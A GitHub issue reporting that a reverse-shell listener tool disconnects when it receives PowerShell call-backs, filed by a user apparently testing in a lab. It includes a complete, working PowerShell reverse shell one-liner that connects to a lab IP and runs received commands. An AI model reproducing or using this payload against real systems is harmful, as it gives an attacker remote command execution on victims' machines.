Skip to content

Doesn't work with powershell call backs.  #2

@cletifer

Description

@cletifer

Although it works just fine for Linux reverse shells, the system doesn't seem to handle a PowerShell-based reverse shell.

Steps to reproduce:

Installed it from pip on Kali (Kali 6.10.9-1kali1 (2024-09-09))

Run with a port option of 1337

Run a basic PowerShell reverse from my lab. To call back to MC:

$client = New-Object System.Net.Sockets.TCPClient('192.168.0.148',1337); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};

MC sees the connection come back.

tell it to start the session and give it the dir command (this causes a disconnect along with any other command)
image

However, that same Powershell script runs fine with NC as the listener.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions